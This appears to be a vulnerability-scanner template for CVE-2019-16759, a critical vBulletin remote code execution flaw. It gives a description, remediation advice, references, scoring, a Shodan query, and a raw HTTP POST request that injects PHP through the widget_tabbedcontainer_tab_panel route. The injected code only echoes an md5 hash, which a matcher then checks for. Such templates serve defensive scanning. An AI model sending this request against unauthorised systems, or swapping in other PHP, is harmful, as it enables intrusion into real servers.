id: CVE-2019-16759

info:
  name: vBulletin 5.0.0-5.5.4 - Remote Command Execution
  author: madrobot
  severity: critical
  description: vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  remediation: |
    Upgrade vBulletin to a version that is not affected by CVE-2019-16759.
  reference:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/
    - https://seclists.org/fulldisclosure/2019/Sep/31
    - https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16759
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16759
    cwe-id: CWE-94
    epss-score: 0.97535
    epss-percentile: 0.99987
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query: http.component:"vBulletin"
  tags: cve,cve2019,rce,kev,seclists,vbulletin

http:
  - raw:
      - |
        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "addcc9f9f2f40e2e6aca3079b73d9d17"

      - type: status
        status:
          - 200